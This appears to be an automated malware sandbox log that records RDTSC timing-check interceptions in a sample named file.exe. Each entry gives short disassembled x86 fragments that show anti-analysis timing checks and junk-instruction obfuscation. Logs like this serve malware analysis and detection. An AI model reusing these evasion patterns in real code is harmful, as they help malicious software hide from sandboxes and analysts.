Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137588C second address: 1375891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374AA3 second address: 1374AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374AA9 second address: 1374AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FCEE second address: 132FCF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FCF4 second address: 132FCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FCF8 second address: 132FD22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E3h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c jl 00007F3CD8C3C7FFh 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F3CD8C3C7D6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379DCF second address: 1379DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BF90 second address: 137BFA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD8C3C7DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BFA1 second address: 137BFB0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BFB0 second address: 137BFCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD8C3C7E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BFCB second address: 137C043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c movzx edi, ax 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F3CD87760E8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F3CD87760E8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 jmp 00007F3CD87760EEh 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C043 second address: 137C047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CFE8 second address: 137CFF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3CD87760E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CFF2 second address: 137D007 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D007 second address: 137D00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379FC0 second address: 1379FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379FC4 second address: 1379FC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1379FC8 second address: 137A071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F3CD8C3C7E3h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F3CD8C3C7D8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 jnp 00007F3CD8C3C7DCh 0x0000002e mov dword ptr [ebp+122D355Ah], esi 0x00000034 jne 00007F3CD8C3C7DCh 0x0000003a push dword ptr fs:[00000000h] 0x00000041 movsx ebx, ax 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007F3CD8C3C7D8h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 00000016h 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 mov eax, dword ptr [ebp+122D13A9h] 0x0000006b mov ebx, dword ptr [ebp+1245B3B5h] 0x00000071 push FFFFFFFFh 0x00000073 xor di, 2DB7h 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b jns 00007F3CD8C3C7DCh 0x00000081 jbe 00007F3CD8C3C7D6h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A071 second address: 137A090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A090 second address: 137A095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A095 second address: 137A09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A09B second address: 137A09F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137A09F second address: 137A0A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FDA5 second address: 137FDA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FDA9 second address: 137FDCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F3CD87760F2h 0x0000000f js 00007F3CD87760E6h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B056 second address: 137B05A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FDCF second address: 137FE43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F3CD87760E8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push 00000000h 0x00000023 or bx, 1A2Ch 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F3CD87760E8h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 xchg eax, esi 0x00000045 jmp 00007F3CD87760F5h 0x0000004a push eax 0x0000004b push edx 0x0000004c jng 00007F3CD87760ECh 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B05A second address: 137B060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E0F8 second address: 137E178 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3CD87760ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F3CD87760E8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov edi, esi 0x00000027 jg 00007F3CD87760E9h 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov di, FB89h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007F3CD87760E8h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 00000017h 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 mov eax, dword ptr [ebp+122D0009h] 0x0000005f mov bh, 53h 0x00000061 push FFFFFFFFh 0x00000063 mov bl, B8h 0x00000065 nop 0x00000066 push eax 0x00000067 push edx 0x00000068 push ebx 0x00000069 ja 00007F3CD87760E6h 0x0000006f pop ebx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137F0C5 second address: 137F0CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137F0CB second address: 137F0EF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3CD87760E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F3CD87760F5h 0x00000015 jmp 00007F3CD87760EFh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137F0EF second address: 137F0F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380F5C second address: 1380FDD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3CD87760E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F3CD87760E6h 0x00000015 popad 0x00000016 jno 00007F3CD87760ECh 0x0000001c popad 0x0000001d nop 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F3CD87760E8h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 movsx ebx, bx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007F3CD87760E8h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 push 00000000h 0x00000059 mov dword ptr [ebp+12476D49h], ecx 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jns 00007F3CD87760E6h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380FDD second address: 1380FE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380FE1 second address: 1380FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380FE7 second address: 1380FEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FFCB second address: 137FFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FFCF second address: 137FFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F3CD8C3C7DCh 0x00000010 jnl 00007F3CD8C3C7D6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13811B3 second address: 13811BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3CD87760E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383F13 second address: 1383F1D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383F1D second address: 1383F27 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3CD87760ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383218 second address: 138321C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13851B0 second address: 13851BA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3CD87760E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13851BA second address: 13851BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388F7A second address: 1388F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388F7F second address: 1388F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389278 second address: 138927C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394E95 second address: 1394EA1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3CD8C3C7DEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139471B second address: 1394725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394725 second address: 139472F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3CD8C3C7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139472F second address: 1394770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jl 00007F3CD87760E6h 0x0000000f jmp 00007F3CD87760F6h 0x00000014 jmp 00007F3CD87760F9h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13948F2 second address: 13948FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13948FB second address: 13948FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13948FF second address: 1394909 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394A61 second address: 1394A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394A69 second address: 1394A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394A73 second address: 1394A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7B0 second address: 132C7BA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3CD8C3C7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139965A second address: 139965E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13998CA second address: 13998D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A056B second address: 13A0571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0571 second address: 13A0587 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0587 second address: 13A058B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A058B second address: 13A058F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0263 second address: 13A0267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0267 second address: 13A026B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A026B second address: 13A0275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0275 second address: 13A0279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4670 second address: 13A4685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 js 00007F3CD87760E6h 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F3CD87760E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4685 second address: 13A46A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F3CD8C3C7E3h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A46A3 second address: 13A46B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A46B0 second address: 13A46B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A46B4 second address: 13A46BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A46BA second address: 13A46D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3CD8C3C7E5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D6A5 second address: 1354103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov cx, F021h 0x0000000d lea eax, dword ptr [ebp+1248136Dh] 0x00000013 pushad 0x00000014 mov dword ptr [ebp+12453FBEh], edx 0x0000001a sub dword ptr [ebp+122D3592h], ebx 0x00000020 popad 0x00000021 nop 0x00000022 jmp 00007F3CD87760F2h 0x00000027 push eax 0x00000028 jmp 00007F3CD87760ECh 0x0000002d nop 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F3CD87760E8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D2974h], esi 0x0000004e call dword ptr [ebp+122D3548h] 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F3CD87760F0h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E125 second address: 136E12F instructions: 0x00000000 rdtsc 0x00000002 js 00007F3CD8C3C7DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E25D second address: 136E298 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jnp 00007F3CD87760E6h 0x00000010 pop ecx 0x00000011 push esi 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop esi 0x00000015 popad 0x00000016 nop 0x00000017 jmp 00007F3CD87760F4h 0x0000001c push 00000004h 0x0000001e mov cx, D201h 0x00000022 nop 0x00000023 push ecx 0x00000024 jng 00007F3CD87760ECh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E298 second address: 136E2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F3CD8C3C7DCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E6CC second address: 136E6D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E6D2 second address: 136E6E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F3CD8C3C7DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E6E9 second address: 136E701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD87760F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E701 second address: 136E721 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3CD8C3C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, eax 0x0000000f sub dword ptr [ebp+122DB579h], edx 0x00000015 push 0000001Eh 0x00000017 movsx edx, dx 0x0000001a push eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EB14 second address: 136EB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EB18 second address: 136EB1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
